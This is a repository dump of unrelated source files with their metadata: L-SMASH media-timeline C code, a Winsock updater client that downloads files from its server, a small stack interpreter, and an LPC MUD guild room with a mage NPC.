++traf_number;
} /* Track fragments */
} /* Movie fragments */
}
else if( timeline->chunk_list->entry_count == 0 )
goto fail; /* No samples in this track. */
if( bunch.sample_count && isom_add_lpcm_bunch_entry( timeline, &bunch ) )
goto fail;
if( lsmash_add_entry( file->timeline, timeline ) )
goto fail;
/* Finish timeline construction. */
timeline->sample_count = sample_count;
if( timeline->info_list->entry_count )
{
timeline->get_dts = isom_get_dts_from_info_list;
timeline->get_cts = isom_get_cts_from_info_list;
timeline->get_sample_duration = isom_get_sample_duration_from_info_list;
timeline->check_sample_existence = isom_check_sample_existence_in_info_list;
timeline->get_sample = isom_get_sample_from_media_timeline;
timeline->get_sample_info = isom_get_sample_info_from_media_timeline;
timeline->get_sample_property = isom_get_sample_property_from_media_timeline;
}
else
{
timeline->get_dts = isom_get_dts_from_bunch_list;
timeline->get_cts = isom_get_cts_from_bunch_list;
timeline->get_sample_duration = isom_get_sample_duration_from_bunch_list;
timeline->check_sample_existence = isom_check_sample_existence_in_bunch_list;
timeline->get_sample = isom_get_lpcm_sample_from_media_timeline;
timeline->get_sample_info = isom_get_lpcm_sample_info_from_media_timeline;
timeline->get_sample_property = isom_get_lpcm_sample_property_from_media_timeline;
}
return 0;
fail:
isom_destruct_timeline_direct( timeline );
return -1;
}
int lsmash_get_dts_from_media_timeline( lsmash_root_t *root, uint32_t track_ID, uint32_t sample_number, uint64_t *dts )
{
if( !sample_number || !dts )
return -1;
isom_timeline_t *timeline = isom_get_timeline( root, track_ID );
if( !timeline || sample_number > timeline->sample_count )
return -1;
return timeline->get_dts( timeline, sample_number, dts );
}
int lsmash_get_cts_from_media_timeline( lsmash_root_t *root, uint32_t track_ID, uint32_t sample_number, uint64_t *cts )
{
if( !sample_number || !cts )
return -1;
isom_timeline_t *timeline = isom_get_timeline( root, track_ID );
if( !timeline || sample_number > timeline->sample_count )
return -1;
return timeline->get_cts( timeline, sample_number, cts );
}
lsmash_sample_t *lsmash_get_sample_from_media_timeline( lsmash_root_t *root, uint32_t track_ID, uint32_t sample_number )
{
isom_timeline_t *timeline = isom_get_timeline( root, track_ID );
return timeline ? timeline->get_sample( timeline, sample_number ) : NULL;
}
int lsmash_get_sample_info_from_media_timeline( lsmash_root_t *root, uint32_t track_ID, uint32_t sample_number, lsmash_sample_t *sample )
{
if( !sample )
return -1;
isom_timeline_t *timeline = isom_get_timeline( root, track_ID );
return timeline ? timeline->get_sample_info( timeline, sample_number, sample ) : -1;
}
int lsmash_get_sample_property_from_media_timeline( lsmash_root_t *root, uint32_t track_ID, uint32_t sample_number, lsmash_sample_property_t *prop )
{
if( !prop )
return -1;
isom_timeline_t *timeline = isom_get_timeline( root, track_ID );
return timeline ? timeline->get_sample_property( timeline, sample_number, prop ) : -1;
}
int lsmash_get_composition_to_decode_shift_from_media_timeline( lsmash_root_t *root, uint32_t track_ID, uint32_t *ctd_shift )
{
if( !ctd_shift )
return -1;
isom_timeline_t *timeline = isom_get_timeline( root, track_ID );
if( !timeline )
return -1;
*ctd_shift = timeline->ctd_shift;
return 0;
}
static inline int isom_get_closest_past_random_accessible_point_from_media_timeline( isom_timeline_t *timeline, uint32_t sample_number, uint32_t *rap_number )
{
lsmash_entry_t *entry = lsmash_get_entry( timeline->info_list, sample_number-- );
if( !entry
|| !entry->data )
return -1;
isom_sample_info_t *info = (isom_sample_info_t *)entry->data;
while( info->prop.ra_flags == ISOM_SAMPLE_RANDOM_ACCESS_FLAG_NONE )
{
entry = entry->prev;
if( !entry
|| !entry->data )
return -1;
info = (isom_sample_info_t *)entry->data;
--sample_number;
}
*rap_number = sample_number + 1;
return 0;
}
static inline int isom_get_closest_future_random_accessible_point_from_media_timeline( isom_timeline_t *timeline, uint32_t sample_number, uint32_t *rap_number )
{
lsmash_entry_t *entry = lsmash_get_entry( timeline->info_list, sample_number++ );
if( !entry
|| !entry->data )
return -1;
isom_sample_info_t *info = (isom_sample_info_t *)entry->data;
while( info->prop.ra_flags == ISOM_SAMPLE_RANDOM_ACCESS_FLAG_NONE )
{
entry = entry->next;
if( !entry
|| !entry->data )
return -1;
info = (isom_sample_info_t *)entry->data;
++sample_number;
}
*rap_number = sample_number - 1;
return 0;
}
static int isom_get_closest_random_accessible_point_from_media_timeline_internal( isom_timeline_t *timeline, uint32_t sample_number, uint32_t *rap_number )
{
if( !timeline )
return -1;
if( isom_get_closest_past_random_accessible_point_from_media_timeline( timeline, sample_number, rap_number )
&& isom_get_closest_future_random_accessible_point_from_media_timeline( timeline, sample_number + 1, rap_number ) )
return -1;
return 0;
}
int lsmash_get_closest_random_accessible_point_from_media_timeline( lsmash_root_t *root, uint32_t track_ID, uint32_t sample_number, uint32_t *rap_number )
{
if( sample_number == 0 || !rap_number )
return -1;
isom_timeline_t *timeline = isom_get_timeline( root, track_ID );
if( timeline->info_list->entry_count == 0 )
{
*rap_number = sample_number; /* All LPCM is sync sample. */
return 0;
}
return isom_get_closest_random_accessible_point_from_media_timeline_internal( timeline, sample_number, rap_number );
}
int lsmash_get_closest_random_accessible_point_detail_from_media_timeline( lsmash_root_t *root, uint32_t track_ID, uint32_t sample_number,
uint32_t *rap_number, lsmash_random_access_flag *ra_flags, uint32_t *leading, uint32_t *distance )
{
if( sample_number == 0 )
return -1;
isom_timeline_t *timeline = isom_get_timeline( root, track_ID );
if( timeline->info_list->entry_count == 0 )
{
/* All LPCM is sync sample. */
*rap_number = sample_number;
if( ra_flags )
*ra_flags = ISOM_SAMPLE_RANDOM_ACCESS_FLAG_SYNC;
if( leading )
*leading = 0;
if( distance )
*distance = 0;
return 0;
}
if( isom_get_closest_random_accessible_point_from_media_timeline_internal( timeline, sample_number, rap_number ) )
return -1;
isom_sample_info_t *info = (isom_sample_info_t *)lsmash_get_entry_data( timeline->info_list, *rap_number );
if( !info )
return -1;
if( ra_flags )
*ra_flags = info->prop.ra_flags;
if( leading )
*leading = 0;
if( distance )
*distance = 0;
if( sample_number < *rap_number )
/* Impossible to desire to decode the sample of given number correctly. */
return 0;
else if( !(info->prop.ra_flags & ISOM_SAMPLE_RANDOM_ACCESS_FLAG_GDR) )
{
if( leading )
{
/* Count leading samples. */
uint32_t current_sample_number = *rap_number + 1;
uint64_t dts;
if( isom_get_dts_from_info_list( timeline, *rap_number, &dts ) )
return -1;
uint64_t rap_cts = timeline->ctd_shift ? (dts + (int32_t)info->offset + timeline->ctd_shift) : (dts + info->offset);
do
{
dts += info->duration;
if( rap_cts <= dts )
break; /* leading samples of this random accessible point must not be present more. */
info = (isom_sample_info_t *)lsmash_get_entry_data( timeline->info_list, current_sample_number++ );
if( !info )
break;
uint64_t cts = timeline->ctd_shift ? (dts + (int32_t)info->offset + timeline->ctd_shift) : (dts + info->offset);
if( rap_cts > cts )
++ *leading;
} while( 1 );
}
if( !distance || sample_number == *rap_number )
return 0;
/* Measure distance from the first closest non-recovery random accessible point to the second. */
uint32_t prev_rap_number = *rap_number;
do
{
if( isom_get_closest_past_random_accessible_point_from_media_timeline( timeline, prev_rap_number - 1, &prev_rap_number ) )
/* The previous random accessible point is not present. */
return 0;
info = (isom_sample_info_t *)lsmash_get_entry_data( timeline->info_list, prev_rap_number );
if( !info )
return -1;
if( !(info->prop.ra_flags & ISOM_SAMPLE_RANDOM_ACCESS_FLAG_GDR) )
{
/* Decode shall already complete at the first closest non-recovery random accessible point if starting to decode from the second. */
*distance = *rap_number - prev_rap_number;
return 0;
}
} while( 1 );
}
if( !distance )
return 0;
/* Calculate roll-distance. */
if( info->prop.pre_roll.distance )
{
/* Pre-roll recovery */
uint32_t prev_rap_number = *rap_number;
do
{
if( isom_get_closest_past_random_accessible_point_from_media_timeline( timeline, prev_rap_number - 1, &prev_rap_number )
&& *rap_number < info->prop.pre_roll.distance )
{
/* The previous random accessible point is not present.
* And sample of given number might be not able to decoded correctly. */
*distance = 0;
return 0;
}
if( prev_rap_number + info->prop.pre_roll.distance <= *rap_number )
{
/*
* |<---- pre-roll distance ---->|
* |<--------- distance -------->|
* media +++++++++++++++++++++++++ *** +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
* ^ ^ ^ ^
* random accessible point starting point random accessible point given sample
* (complete)
*/
*distance = info->prop.pre_roll.distance;
return 0;
}
else if( !(info->prop.ra_flags & ISOM_SAMPLE_RANDOM_ACCESS_FLAG_GDR) )
{
/*
* |<------------ pre-roll distance ------------------>|
* |<------ distance ------->|
* media ++++++++++++++++ *** ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
* ^ ^ ^ ^
* random accessible point random accessible point given sample
* (starting point) (complete)
*/
*distance = *rap_number - prev_rap_number;
return 0;
}
} while( 1 );
}
/* Post-roll recovery */
if( sample_number >= info->prop.post_roll.complete )
/*
* |<----- post-roll distance ----->|
* (distance = 0)
* media +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
* ^ ^ ^
* random accessible point complete given sample
* (starting point)
*/
return 0;
uint32_t prev_rap_number = *rap_number;
do
{
if( isom_get_closest_past_random_accessible_point_from_media_timeline( timeline, prev_rap_number - 1, &prev_rap_number ) )
/* The previous random accessible point is not present. */
return 0;
info = (isom_sample_info_t *)lsmash_get_entry_data( timeline->info_list, prev_rap_number );
if( !info )
return -1;
if( !(info->prop.ra_flags & ISOM_SAMPLE_RANDOM_ACCESS_FLAG_GDR) || sample_number >= info->prop.post_roll.complete )
{
*distance = *rap_number - prev_rap_number;
return 0;
}
} while( 1 );
}
int lsmash_check_sample_existence_in_media_timeline( lsmash_root_t *root, uint32_t track_ID, uint32_t sample_number )
{
isom_timeline_t *timeline = isom_get_timeline( root, track_ID );
return timeline ? timeline->check_sample_existence( timeline, sample_number ) : 0;
}
int lsmash_get_last_sample_delta_from_media_timeline( lsmash_root_t *root, uint32_t track_ID, uint32_t *last_sample_delta )
{
if( !last_sample_delta )
return -1;
isom_timeline_t *timeline = isom_get_timeline( root, track_ID );
return timeline ? timeline->get_sample_duration( timeline, timeline->sample_count, last_sample_delta ) : -1;
}
int lsmash_get_sample_delta_from_media_timeline( lsmash_root_t *root, uint32_t track_ID, uint32_t sample_number, uint32_t *sample_delta )
{
if( !sample_delta )
return -1;
isom_timeline_t *timeline = isom_get_timeline( root, track_ID );
return timeline ? timeline->get_sample_duration( timeline, sample_number, sample_delta ) : -1;
}
uint32_t lsmash_get_sample_count_in_media_timeline( lsmash_root_t *root, uint32_t track_ID )
{
isom_timeline_t *timeline = isom_get_timeline( root, track_ID );
if( !timeline )
return 0;
return timeline->sample_count;
}
uint32_t lsmash_get_max_sample_size_in_media_timeline( lsmash_root_t *root, uint32_t track_ID )
{
isom_timeline_t *timeline = isom_get_timeline( root, track_ID );
if( !timeline )
return 0;
return timeline->max_sample_size;
}
uint64_t lsmash_get_media_duration_from_media_timeline( lsmash_root_t *root, uint32_t track_ID )
{
isom_timeline_t *timeline = isom_get_timeline( root, track_ID );
if( !timeline )
return 0;
return timeline->media_duration;
}
int lsmash_copy_timeline_map( lsmash_root_t *dst, uint32_t dst_track_ID, lsmash_root_t *src, uint32_t src_track_ID )
{
if( !dst || !src )
return -1;
lsmash_file_t *dst_file = dst->file;
isom_trak_t *dst_trak = isom_get_trak( dst_file, dst_track_ID );
if( !dst_file->moov
|| !dst_file->moov->mvhd
|| dst_file->moov->mvhd->timescale == 0
|| !dst_trak
|| !dst_trak->mdia
|| !dst_trak->mdia->mdhd
|| dst_trak->mdia->mdhd->timescale == 0
|| !dst_trak->mdia->minf
|| !dst_trak->mdia->minf->stbl )
return -1;
if( dst_trak->edts
&& dst_trak->edts->elst )
lsmash_remove_entries( dst_trak->edts->elst->list, NULL );
uint32_t src_movie_timescale;
uint32_t src_media_timescale;
uint64_t src_track_duration;
uint64_t src_media_duration;
int32_t src_ctd_shift; /* Add timeline shift difference between src and dst to each media_time.
* Therefore, call this function as later as possible. */
lsmash_entry_t *src_entry;
lsmash_file_t *src_file = src->file;
isom_trak_t *src_trak = isom_get_trak( src_file, src_track_ID );
if( !src_trak
|| !src_trak->edts
|| !src_trak->edts->elst
|| !src_trak->edts->elst->list )
{
/* Get from timeline instead of boxes. */
isom_timeline_t *src_timeline = isom_get_timeline( src, src_track_ID );
if( !src_timeline
|| src_timeline->movie_timescale == 0
|| src_timeline->media_timescale == 0
|| !src_timeline->edit_list )
return -1;
src_movie_timescale = src_timeline->movie_timescale;
src_media_timescale = src_timeline->media_timescale;
src_track_duration = src_timeline->track_duration;
src_media_duration = src_timeline->media_duration;
src_ctd_shift = src_timeline->ctd_shift;
src_entry = src_timeline->edit_list->head;
}
else
{
if( !src_file->moov
|| !src_file->moov->mvhd
|| src_file->moov->mvhd->timescale == 0
|| !src_trak->tkhd
|| !src_trak->mdia
|| !src_trak->mdia->mdhd
|| src_trak->mdia->mdhd->timescale == 0
|| !src_trak->mdia->minf
|| !src_trak->mdia->minf->stbl )
return -1;
src_movie_timescale = src_file->moov->mvhd->timescale;
src_media_timescale = src_trak->mdia->mdhd->timescale;
src_track_duration = src_trak->tkhd->duration;
src_media_duration = src_trak->mdia->mdhd->duration;
src_ctd_shift = src_trak->mdia->minf->stbl->cslg ? src_trak->mdia->minf->stbl->cslg->compositionToDTSShift : 0;
src_entry = src_trak->edts->elst->list->head;
}
if( !src_entry )
return 0;
/* Generate edit list if absent in destination. */
if( (!dst_trak->edts && !isom_add_edts( dst_trak ))
|| (!dst_trak->edts->elst && !isom_add_elst( dst_trak->edts )) )
return -1;
uint32_t dst_movie_timescale = dst_file->moov->mvhd->timescale;
uint32_t dst_media_timescale = dst_trak->mdia->mdhd->timescale;
int32_t dst_ctd_shift = dst_trak->mdia->minf->stbl->cslg ? dst_trak->mdia->minf->stbl->cslg->compositionToDTSShift : 0;
int32_t media_time_shift = src_ctd_shift - dst_ctd_shift;
lsmash_entry_list_t *dst_list = dst_trak->edts->elst->list;
lsmash_entry_t *src_head = src_entry;
while( src_entry )
{
isom_elst_entry_t *src_data = (isom_elst_entry_t *)src_entry->data;
if( !src_data )
return -1;
uint64_t segment_duration;
if( src_data->segment_duration == 0 && !dst_file->fragment )
{
/* The 0-duration edit makes no sence for non-fragmented movie file. */
if( src_entry == src_head )
/* Set an appropriate duration from the source track. */
segment_duration = src_track_duration
? src_track_duration
: src_media_duration * ((double)src_movie_timescale / src_media_timescale);
else
/* Two or more 0-duration edits make no sence. Just skip them. */
continue;
}
else
segment_duration = src_data->segment_duration;
isom_elst_entry_t *dst_data = (isom_elst_entry_t *)lsmash_malloc( sizeof(isom_elst_entry_t) );
if( !dst_data )
return -1;
dst_data->segment_duration = segment_duration * ((double)dst_movie_timescale / src_movie_timescale) + 0.5;
dst_data->media_rate = src_data->media_rate;
if( src_data->media_time != ISOM_EDIT_MODE_EMPTY )
dst_data->media_time = (src_data->media_time + media_time_shift) * ((double)dst_media_timescale / src_media_timescale) + 0.5;
else
dst_data->media_time = ISOM_EDIT_MODE_EMPTY;
if( lsmash_add_entry( dst_list, dst_data ) < 0 )
{
lsmash_free( dst_data );
return -1;
}
src_entry = src_entry->next;
}
return 0;
}
int lsmash_set_media_timestamps( lsmash_root_t *root, uint32_t track_ID, lsmash_media_ts_list_t *ts_list )
{
if( !root || !root->file || !ts_list )
return -1;
isom_timeline_t *timeline = isom_get_timeline( root, track_ID );
if( !timeline )
return -1;
if( timeline->info_list->entry_count == 0 )
{
lsmash_log( timeline, LSMASH_LOG_ERROR, "Changing timestamps of LPCM track is not supported.\n" );
return -1;
}
if( ts_list->sample_count != timeline->info_list->entry_count )
return -1; /* Number of samples must be same. */
lsmash_media_ts_t *ts = ts_list->timestamp;
if( ts[0].dts )
return -1; /* DTS must start from value zero. */
/* Update DTSs. */
uint32_t sample_count = ts_list->sample_count;
uint32_t i;
if( timeline->info_list->entry_count > 1 )
{
i = 1;
lsmash_entry_t *entry = timeline->info_list->head;
isom_sample_info_t *info;
while( i < sample_count )
{
info = (isom_sample_info_t *)entry->data;
if( !info || (ts[i].dts < ts[i - 1].dts) )
return -1;
info->duration = ts[i].dts - ts[i - 1].dts;
entry = entry->next;
++i;
}
if( i > 1 )
{
if( !entry
|| !entry->data )
return -1;
/* Copy the previous duration. */
((isom_sample_info_t *)entry->data)->duration = info->duration;
}
else
return -1; /* Irregular case: sample_count this timeline has is incorrect. */
}
else /* still image */
((isom_sample_info_t *)timeline->info_list->head->data)->duration = UINT32_MAX;
/* Update CTSs.
* ToDo: hint track must not have any sample_offset. */
i = 0;
timeline->ctd_shift = 0;
for( lsmash_entry_t *entry = timeline->info_list->head; entry; entry = entry->next )
{
isom_sample_info_t *info = (isom_sample_info_t *)entry->data;
if( (ts[i].cts + timeline->ctd_shift) < ts[i].dts )
timeline->ctd_shift = ts[i].dts - ts[i].cts;
info->offset = ts[i].cts - ts[i].dts;
++i;
}
if( timeline->ctd_shift && (!root->file->qt_compatible || root->file->max_isom_version < 4) )
return -1; /* Don't allow composition to decode timeline shift. */
return 0;
}
int lsmash_get_media_timestamps( lsmash_root_t *root, uint32_t track_ID, lsmash_media_ts_list_t *ts_list )
{
if( !ts_list )
return -1;
isom_timeline_t *timeline = isom_get_timeline( root, track_ID );
if( !timeline )
return -1;
uint32_t sample_count = timeline->info_list->entry_count;
if( !sample_count )
{
ts_list->sample_count = 0;
ts_list->timestamp = NULL;
return 0;
}
lsmash_media_ts_t *ts = lsmash_malloc( sample_count * sizeof(lsmash_media_ts_t) );
if( !ts )
return -1;
uint64_t dts = 0;
uint32_t i = 0;
if( timeline->info_list->entry_count )
for( lsmash_entry_t *entry = timeline->info_list->head; entry; entry = entry->next )
{
isom_sample_info_t *info = (isom_sample_info_t *)entry->data;
if( !info )
{
lsmash_free( ts );
return -1;
}
ts[i].dts = dts;
ts[i].cts = timeline->ctd_shift ? (dts + (int32_t)info->offset) : (dts + info->offset);
dts += info->duration;
++i;
}
else
for( lsmash_entry_t *entry = timeline->bunch_list->head; entry; entry = entry->next )
{
isom_lpcm_bunch_t *bunch = (isom_lpcm_bunch_t *)entry->data;
if( !bunch )
{
lsmash_free( ts );
return -1;
}
for( uint32_t j = 0; j < bunch->sample_count; j++ )
{
ts[i].dts = dts;
ts[i].cts = timeline->ctd_shift ? (dts + (int32_t)bunch->offset) : (dts + bunch->offset);
dts += bunch->duration;
++i;
}
}
ts_list->sample_count = sample_count;
ts_list->timestamp = ts;
return 0;
}
void lsmash_delete_media_timestamps( lsmash_media_ts_list_t *ts_list )
{
if( !ts_list )
return;
if( ts_list->timestamp )
{
lsmash_free( ts_list->timestamp );
ts_list->timestamp = NULL;
}
ts_list->sample_count = 0;
}
static int isom_compare_dts( const lsmash_media_ts_t *a, const lsmash_media_ts_t *b )
{
int64_t diff = (int64_t)(a->dts - b->dts);
return diff > 0 ? 1 : (diff == 0 ? 0 : -1);
}
void lsmash_sort_timestamps_decoding_order( lsmash_media_ts_list_t *ts_list )
{
if( !ts_list )
return;
qsort( ts_list->timestamp, ts_list->sample_count, sizeof(lsmash_media_ts_t), (int(*)( const void *, const void * ))isom_compare_dts );
}
static int isom_compare_cts( const lsmash_media_ts_t *a, const lsmash_media_ts_t *b )
{
int64_t diff = (int64_t)(a->cts - b->cts);
return diff > 0 ? 1 : (diff == 0 ? 0 : -1);
}
void lsmash_sort_timestamps_composition_order( lsmash_media_ts_list_t *ts_list )
{
if( !ts_list )
return;
qsort( ts_list->timestamp, ts_list->sample_count, sizeof(lsmash_media_ts_t), (int(*)( const void *, const void * ))isom_compare_cts );
}
int lsmash_get_max_sample_delay( lsmash_media_ts_list_t *ts_list, uint32_t *max_sample_delay )
{
if( !ts_list || !max_sample_delay )
return -1;
lsmash_media_ts_t *orig_ts = ts_list->timestamp;
lsmash_media_ts_t *ts = lsmash_malloc( ts_list->sample_count * sizeof(lsmash_media_ts_t) );
if( !ts )
return -1;
ts_list->timestamp = ts;
*max_sample_delay = 0;
for( uint32_t i = 0; i < ts_list->sample_count; i++ )
{
ts[i].cts = orig_ts[i].cts; /* for sorting */
ts[i].dts = i;
}
lsmash_sort_timestamps_composition_order( ts_list );
for( uint32_t i = 0; i < ts_list->sample_count; i++ )
if( i < ts[i].dts )
{
uint32_t sample_delay = ts[i].dts - i;
*max_sample_delay = LSMASH_MAX( *max_sample_delay, sample_delay );
}
lsmash_free( ts );
ts_list->timestamp = orig_ts;
return 0;
}
#endif /* LSMASH_DEMUXER_ENABLED */
| [
"muken.the.vfrmaniac@gmail.com"
] | muken.the.vfrmaniac@gmail.com |
d2dd48cc557c9f68abf5b2b02f9daae749c3251c | 2b62eabc8d537abb4c8b7efdc29feeb09ebd6fe4 | /UpdaterClient/src/NetworkSystem.c | 6846890fcda153221e646dccd1f55fb5a2b6d69e | [] | no_license | ScottCTD/Updater | 47ddce43260118105931ce5b202e59766a285a00 | 0e8e207eea847f6848352248c2c5309e60906666 | refs/heads/main | 2023-06-06T15:58:20.289209 | 2021-07-02T05:51:55 | 2021-07-02T05:51:55 | 378,769,076 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 3,408 | c | //
// Created by Scott on 2021/6/25.
//
#include "NetworkSystem.h"
int sendString(SOCKET socket, char *string) {
return send(socket, string, (int) strlen(string), 0);
}
bool recvBoolean(SOCKET socket) {
bool boolean;
recv(socket, (char *) &boolean, 1, 0);
return boolean;
}
void recvString(SOCKET socket, size_t totalSize, char *string) {
char buffer[BUFFER_SIZE];
size_t bytes, total = 0;
while (total < totalSize && (bytes = recv(socket, buffer, BUFFER_SIZE, 0)) > 0) {
strncat(string, buffer, bytes);
total += bytes;
}
}
size_t recvSize(SOCKET socket) {
size_t size = 0;
recv(socket, (char *) &size, sizeof(size_t), 0);
return size;
}
void downloadFileFromServer(SOCKET serverSocket, char *serverFilePath, char *clientFilePath) {
sendString(serverSocket, "download");
if (recvBoolean(serverSocket)) {
sendString(serverSocket, serverFilePath);
char buffer[BUFFER_SIZE];
size_t size = recvSize(serverSocket);
size_t bytes, total = 0;
FILE *file = fopen(clientFilePath, "wb");
time_t before = time(NULL);
while (total < size && (bytes = recv(serverSocket, buffer, BUFFER_SIZE, 0)) > 0) {
fwrite(buffer, 1, bytes, file);
total += bytes;
double percent = (double) total / (double) size * 100;
printf("\rProgress: %.2f", percent);
}
time_t after = time(NULL);
printf(" Time: %lld s", after - before);
}
}
SOCKET initSocketOnClient(const char *serverAddress, unsigned short serverPort) {
WSADATA wsaData;
SOCKET serverSocket;
int result;
if ((result = WSAStartup(MAKEWORD(2, 2), &wsaData)) != 0) {
printf("WSAStartup Failed with code %d\n", result);
return -1;
}
struct addrinfo hint, *serverInfo;
memset(&hint, 0, sizeof(struct addrinfo));
hint.ai_family = AF_INET;
hint.ai_socktype = SOCK_STREAM;
char port[6];
sprintf(port, "%d", htons(serverPort));
if ((result = getaddrinfo(serverAddress, port, &hint, &serverInfo)) != 0) {
printf("getaddrinfo Failed with code %d\n", result);
WSACleanup();
return -1;
}
struct sockaddr_in *serverAddressIn = ((struct sockaddr_in *) serverInfo->ai_addr);
printf("Connecting to server %s:%d...\n", inet_ntoa(serverAddressIn->sin_addr), serverAddressIn->sin_port);
struct addrinfo *realAddrInfo;
for (realAddrInfo = serverInfo; realAddrInfo != NULL; realAddrInfo = realAddrInfo->ai_next) {
if ((serverSocket = socket(realAddrInfo->ai_family, realAddrInfo->ai_socktype, realAddrInfo->ai_protocol)) == INVALID_SOCKET) {
printf("socket Failed with code %d\n", WSAGetLastError());
continue;
}
if ((result = connect(serverSocket, realAddrInfo->ai_addr, (int) realAddrInfo->ai_addrlen)) == SOCKET_ERROR) {
printf("connect Failed with code %d\n", result);
continue;
}
break;
}
if (realAddrInfo == NULL || serverSocket == INVALID_SOCKET) {
printf("Failed to connect to the server!\n");
WSACleanup();
return -1;
}
serverAddressIn = ((struct sockaddr_in *) realAddrInfo->ai_addr);
printf("Connected to %s:%d!\n", inet_ntoa(serverAddressIn->sin_addr), serverAddressIn->sin_port);
freeaddrinfo(serverInfo);
return serverSocket;
}
| [
"ScottCTD@outlook.com"
] | ScottCTD@outlook.com |
b6e8057cc43aa5f682a90df70dded69ab9e91b1b | ec69ae7276c1ff0d387eabbc9a21c5c9afe83de5 | /C/11_Interpreter/main.c | 4f95f500248d7035c405b63a1a771ab958d07afc | [] | no_license | abiraja2004/daily-dose-of-code | 41261a32dc2e2787d09c89a5f8ac4a683d578261 | 4950dc0ced4d8cf96b3c0fbb62ddaa9a0b8eaf0a | refs/heads/master | 2020-09-21T05:27:47.489044 | 2017-02-24T03:11:12 | 2017-02-24T03:11:12 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 2,231 | c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "common.h"
#include "lexer.h"
#include "token.h"
#include "functions.h"
void push(int number, int* stack, int* top);
int checkIfNumber(struct word_t* Word);
long checkIfKeyword(struct word_t* Word);
long checkIfKeyword(struct word_t* Word) {
long token = 0;
token = generateToken(Word);
return token;
}
void push(int number, int* stack, int* top) {
int t = *top;
t++;
stack[t] = number;
*top = t;
return;
}
int checkIfNumber(struct word_t* Word) {
int i;
for(i=0 ; i<Word->length ; i++) {
if(!(Word->word[i] > 47 && Word->word[i] < 58)) {
return 0;
}
}
return 1;
}
int main() {
int i;
int number;
long key;
int nWords; //-- number of words
struct word_t* myWord[MAXWORDS];
int top = -1;
int* stack = malloc(sizeof(int) * MAXWORDS);
//-- take the input line
char* input;
input = malloc(sizeof(char) * MAXLINELEN);
fgets(input, MAXLINELEN, stdin);
//-- split the line into words
splitWords(input, myWord, &nWords);
for(i=0 ; i<nWords ; i++) {
if(checkIfNumber(myWord[i])) {
//-- convert string to int
number = atof(myWord[i]->word);
//-- push number to stack
push(number, stack, &top);
}
else if((key = checkIfKeyword(myWord[i])) > 0) {
//-- functions
if(key == print) {
pop(stack, &top);
}
else if(key == printl) {
popl(stack, &top);
}
else if(key == endl) {
endline();
}
else if(key == add) {
addition(stack, &top);
}
else if(key == sub) {
subtraction(stack, &top);
}
else if(key == mul) {
multiplication(stack, &top);
}
else if(key == div) {
division(stack, &top);
}
else {
//-- ERROR!!
printf("ERROR! `%s' does not compute!\n", myWord[i]->word);
return -1;
}
}
}
}
| [
"saikatbsk@gmail.com"
] | saikatbsk@gmail.com |
49009f269b8eda54c21aeee2dedfd617e41a43f2 | e5b240d2e2359291c69ba42dbb052c562d1c9f85 | /header/4/m43.h | 3f6e757b6e1464afd7d78c4487e52dfb39c5be68 | [] | no_license | rustylake/c-app | 5bcace599a7f8a70841673000367399acf29d76c | 1651ae66666a6ab04e87fef6a46d99653f2b6615 | refs/heads/master | 2020-04-30T01:27:10.976917 | 2019-05-27T08:51:58 | 2019-05-27T08:51:58 | 176,529,273 | 0 | 0 | null | 2019-04-15T15:33:23 | 2019-03-19T14:25:47 | C | UTF-8 | C | false | false | 115 | h | //
// Created by pengy on 2019/5/23.
//
#ifndef APP_M43_H
#define APP_M43_H
int m43(char[]);
#endif //APP_M43_H
| [
"pengyinjian@163.com"
] | pengyinjian@163.com |
41b221f18eabd3df31e21a5ef98699db4acc73c8 | 3567309d3f25020ec7a0d59e0ef55da7be113085 | /d/affils/rooms/grm.c | 0fd4e98fcfd3bc89448dc56a3de187531ebe3c3b | [] | no_license | flyingstupid/gbapoclib | 64ec8b3828201d7eb158b5371164765d1b65ce93 | dea2a4be3399509c7df44d33b2a307db3821017d | refs/heads/master | 2021-04-27T08:02:48.717277 | 2018-02-23T17:04:11 | 2018-02-23T17:04:11 | 122,640,255 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 7,973 | c | #include <mudlib.h>
inherit AFFILIATION;
inherit GUILD;
object robe;
void reset(status arg) {
guild::reset(arg);
affils::reset(arg);
reset_doors(arg);
remove_door("west door");
if(!guild_master) {
guild_master = clone_object(MONSTER);
guild_master -> set_name("ramsus");
guild_master -> set_short("Lt. Ramsus, of the Nine");
guild_master -> set_long(
"Ramsus is a man of war, a lieutenant in the great wars of the \n"+
"IronHand at Ebony a few years ago. He is a mighty battle-mage \n"+
"and a skilled military tactician. Though a mage, he does not \n"+
"waste time in study, but prefers to be out in the field, training\n"+
"both mind and body.\n"+
"Ramsus is a Grey Robe Mage.\n");
guild_master -> load_chat(5, ({
"Ramsus studies an ancient tome.\n",
"Ramsus asks: Have you come to study here, apprentice?\n",
"Ramsus peruses a few scrolls of magic.\n",
"Ramsus ponders the complexities of a magical formula.\n",
"Ramsus practices a complex magical spell.\n",
}));
guild_master -> load_a_chat(5, ({ "Ramsus says: How dare you!\n",
"Ramsus exclaims: You insolent fool!\n",
"Ramsus says: You shall be punihed for this action.\n",
"Ramsus says: Begone, or my magic will slay you.\n",
"Ramsus exlaims: Leave the library now!\n",
}));
guild_master -> set_gender(1);
guild_master -> set_level(30);
guild_master -> set_hp(3000);
guild_master -> set_ac(30);
guild_master -> add_class("mage");
guild_master -> add_class("cleric");
guild_master -> load_spells(15, ({
"cure serious wounds",
"energy drain", "meteor swarm", "comet", "burning hands",
"chill touch", "vampiric touch", "disintegrate",
"fire shield", "stone skin", "bless", "curse",
"lightning bolt", "fireball", "death spell",
}));
guild_master -> add_spell_immunity("cold");
guild_master -> add_spell_immunity("fire");
guild_master -> add_spell_immunity("lightning");
guild_master -> set_magic_resist(50);
guild_master -> set_race("human");
guild_master -> add_money(100 + random(1000));
guild_master -> set_dead_ob(this_object());
move_object(guild_master,this_object());
}
if(!present("robe", guild_master)) {
robe = clone_object("d/coronos/w/angel/city/obj/grobe");
move_object(robe, guild_master);
guild_master->init_command("wear robe");
}
if(arg) return;
load_door(({
"file", "d/sorcery/w/angel/hall3",
"direction", "east door",
"long",
"A fine door of sturdy oak.\n",
}));
set_short("the chambers of the grey robed mages");
set_long(
"Battle plans from many wars, both past and present hang on the \n"+
"walls of this fine office. There is definitely the cry of war \n"+
